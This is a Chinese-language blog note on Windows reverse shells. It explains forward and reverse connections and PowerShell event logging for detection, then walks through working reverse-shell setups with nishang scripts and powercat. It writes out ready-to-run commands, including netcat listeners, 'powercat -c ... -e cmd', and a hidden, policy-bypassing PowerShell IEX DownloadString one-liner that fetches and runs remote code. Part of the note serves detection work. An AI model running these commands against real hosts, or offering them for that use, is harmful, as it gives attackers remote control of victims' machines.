[笔记]Windows安全之《一》反弹Shell

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: [笔记]Windows安全之《一》反弹Shell

1. 正向连接和反向连接(反弹连接)

1.1. 正向连接

正向连接:我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。

主动连接

控制端,即客户端

被控制端,即服务端

在以下情况,正向连接会不能用:

  • 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
  • 目标机器的ip动态改变,你不能持续控制。
  • 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的。

所以建立一个服务端让恶意程序主动连接,才是上策。

1.2. 反向连接(反弹连接)

反弹连接:攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

主动连接

被控制端,即客户端

控制端,服务端

二、关于Windows上powershell的配置

2.1. 开启 PowerShell 日志记录

cmd运行gpedit.msc打开本地组策略

2.2. 开启日志订阅机制

cmd运行eventvwr.exe打开系统事件日志

应用程序和服务日志->Microsoft->Windows->PowerShell/Operational 产生的 4103 事件日志

4103事件日志 主要记录powershell的操作日志,agent检测也是通过过滤日志信息来判断反弹shell

2.3. 启动powershell执行ps脚本

powershell 设置执行策略:

set-executionpolicy remotesigned

powershell 查看当前执行策略是否为RemoteSigned,是则设置策略成功

get-executionpolicy

右击powershell脚本文件,选中解除锁定,并应用

即可执行Invoke-PowerShellTcp.ps1脚本不报错了

三、反弹Shell原理

最本质的原理:就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,建立连接 然后攻击端跟受害者主机通信,受害者主机转发shell输入输出流到攻击端,从而攻击端能够控制受害者主机。

主要区别:在于通信的原理(TCP/UDP/ICMP/HTTP/SSH/TELNET),也可以形容反弹Shell的类型 例如反弹TCP的Shell;

建立通信的方式(执行ps脚本/注入DLL/打开office文件)的方式,分为以下几类:

  • 受害主机执行基于PowerShell的一类(TCP、UDP、ICMP、Http、SSH隧道、注入DLL)
  • 受害主机打开office的一类(Empire 结合office反弹shell、利用office OLE对象插入bat文件反弹shell)

从检测的角度,可以将反弹Shell分为以下三种类型:

  • 第一类反弹Shell:直接重定向Shell的输入输出到Socket
  • 第二类反弹Shell:通过管道、伪终端等中转,再重定向Shell的输入输出到中转
  • 第三类反弹Shell:编程语言实现标准输入中转,重定向命令执行的输入到中转

四. 反弹Shell 实例运行

4.1. 实例1 Invoke-PowerShellTcp.ps1 运行反弹TCP Shell

以win10为被控端/受攻击端,kali为控制端/攻击端为例:

4.1.1. 前期准备

完成3.3的powershell的配置

netcat下载安装(被控端和控制端都需要安装)

下载地址:https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip

下载nishang框架:https://github.com/samratashok/nishang

4.1.2. 基本思路及实现效果

创建一个控制端(用VM安装一个Kali或者其他版本Linux安装netcat,Kali自带netcat)运行命令 监听端口9000 等待被控制端主动连接

nc -lvp 900

被控制端运行Invoke-PowerShellTcp.ps1脚本 默认连接控制端的9000端口

Invoke-PowerShellTcp.ps1 -Reverse -IPAddress 控制端的IP -port 9000

控制端进入交互界面

说明连接成功 控制端可以进行各种控制操作了。

4.2. 实例2 powercat.ps1运行反弹TCP shell

以win10为被控端/受攻击端,kali为控制端/攻击端为例

4.2.1. 前期准备

下载powercat:https://github.com/besimorhino/powercat

这里环境编写Powershell环境 建议vscode+powershell插件

注意:下载脚本运行是没效果的,需要以下操作步骤才能正常使用powercat:

  • 导入模块 Import-Module .\powercat.ps1
  • 设置本地脚本执行策略 不验证签名
Set-ExecutionPolicy RemoteSigned

然后就可以正常使用powercat了。

(其他基于powershell的框架基本都是如此)

注意:似乎每次都需要Import-Module脚本才能正常运行脚本

4.2.2. 基本思路和实现效果

同理,如上思路基本相似。

1.攻击端监听一个端口,等待被攻击端主动连接。nc -nlvp 9000

2.被攻击端powershell执行。

powercat -c 192.168.111.132 -p 9000 -e cmd

以下是不下载Powercat的命令

powershell.exe IEX (New-Object System.Net.Webclient).DownloadString("https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1");powercat -c 192.168.111.132 -p 9000 -e cmd

两个命令主要区别在于脚本是否在本地:

  • 第一个Powercat脚本在本地并且已经安装成了模块
  • 第二个需要先使用Powershell下载脚本,在执行.

3.效果同上

4.3. 实例3 Invoke-PowerShellUdp.ps1运行反弹Udp shell

攻击端:

监听UDP9000端口

nc -lup 9000

受害端:

进入当前脚本文件夹

Import-Module .\Invoke-PowerShellUdp.ps1
Invoke-PowerShellUdp -Reverse -IPAddress 攻击端IP地址 -port 9000

4.4. 实例4 使用nishang框架运行反弹Http shell

nishang框架的官方教程:https://github.com/samratashok/nishang

参考https://zhuanlan.zhihu.com/p/27723026

4.4.1. 前期准备

攻击端和受害端均为Windows,且此处受害端为http服务端,攻击端为http客户端;

4.4.2. 过程

受害端:

导入Invoke-PoshRatHttp.ps1

Import-Module .\Invoke-PoshRatHttp.ps1# 监听端口,启动http服务
Invoke-PoshRatHttp -IPAddress 192.168.111.132 -Port 9000

输出结果.

最后一行便是给攻击端使用的

攻击端:

powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.111.132:9000/connect'))
>>whoami

便能控制受害端.不过http是短链接 请求返回结果之后就结束了,每次命令都需要重新请求.

4.5. 实例5 反弹ICMPShell

参考

https://blog.csdn.net/qq_39101049/article/details/96191861

https://blog.csdn.net/qq_45625605/article/details/103056458

五.关于windows反弹Shell疑问

5.1. 多次反弹无法捕获?

agent 如果是同一进程反弹 是不会重复上报的

5.2. 目前只支持tcp?

非也非也,只需要支持powershell即可,其他dns,http的脚本都是依托powershell运行,所以只需要解决powershell异常连接监听即可。

5.3. 为什么是powershell?

问题:powershell win7之后才出现,为什么cmd不能呢?

解答:

  1. cmd本身是调用已存在的exe,例如ping ipconfig。对于网络请求cmd没有支持的。而powershell是基于.net4.5的 面向对象 有许多模块可以马上直接使用,比如网络相关

2.反弹shell原理是基于被控制端主动连接 控制端,所以被控制端的环境依赖越少越好。Powershell window都有,而且其他需要py,office的对环境和其他条件的限制太大

相关实践学习
通过日志服务实现云资源OSS的安全审计
本实验介绍如何通过日志服务实现云资源OSS的安全审计。
相关文章
|
10天前
|
安全 Linux iOS开发
SonarQube Server 2025 Release 5 (macOS, Linux, Windows) - 代码质量、安全与静态分析工具
SonarQube Server 2025 Release 5 (macOS, Linux, Windows) - 代码质量、安全与静态分析工具
76 0
SonarQube Server 2025 Release 5 (macOS, Linux, Windows) - 代码质量、安全与静态分析工具
|
2月前
|
安全 Linux C++
PVS‑Studio 7.38 for macOS, Linux & Windows - 代码质量安全静态分析
PVS‑Studio 7.38 for macOS, Linux & Windows - 代码质量安全静态分析
108 0
PVS‑Studio 7.38 for macOS, Linux & Windows - 代码质量安全静态分析
|
3月前
|
安全 Linux iOS开发
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
350 0
Burp Suite Professional 2025.7 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
5月前
|
安全 Linux iOS开发
PVS‑Studio 7.36 for macOS, Linux & Windows - 代码质量安全静态分析
PVS‑Studio 7.36 for macOS, Linux & Windows - 代码质量安全静态分析
94 1
PVS‑Studio 7.36 for macOS, Linux & Windows - 代码质量安全静态分析
|
5月前
|
Web App开发 人工智能 JSON
Windows版来啦!Qwen3+MCPs,用AI自动发布小红书图文/视频笔记!
上一篇用 Qwen3+MCPs实现AI自动发小红书的最佳实践 有超多小伙伴关注,同时也排队在蹲Windows版本的教程。
721 1
|
8月前
|
人工智能 Linux iOS开发
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
359 12
Burp Suite Professional 2025.2 (macOS, Linux, Windows) - Web 应用安全、测试和扫描
|
11月前
|
安全 Windows
【Azure Cloud Service】在Windows系统中抓取网络包 ( 不需要另外安全抓包工具)
通常,在生产环境中,为了保证系统环境的安全和纯粹,是不建议安装其它软件或排查工具(如果可以安装,也是需要走审批流程)。 本文将介绍一种,不用安装Wireshark / tcpdump 等工具,使用Windows系统自带的 netsh trace 命令来获取网络包的步骤
215 32
|
12月前
|
监控 Ubuntu Linux
视频监控笔记(五):Ubuntu和windows时区同步问题-your clock is behind
这篇文章介绍了如何在Ubuntu和Windows系统中通过设置相同的时区并使用ntp服务来解决时间同步问题。
246 4
视频监控笔记(五):Ubuntu和windows时区同步问题-your clock is behind
|
11月前
|
存储 安全 网络安全
Windows Server 本地安全策略
由于广泛使用及历史上存在的漏洞,Windows服务器成为黑客和恶意行为者的主要攻击目标。这些系统通常存储敏感数据并支持关键服务,因此组织需优先缓解风险,保障业务的完整性和连续性。常见的威胁包括勒索软件、拒绝服务攻击、内部威胁、恶意软件感染等。本地安全策略是Windows操作系统中用于管理计算机本地安全性设置的工具,主要包括用户账户策略、安全选项、安全设置等。实施强大的安全措施,如定期补丁更新、网络分段、入侵检测系统、数据加密等,对于加固Windows服务器至关重要。
355 1
|
12月前
|
缓存 安全 网络协议
Windows 安全基础——NetBIOS篇
Windows 安全基础——NetBIOS篇
303 4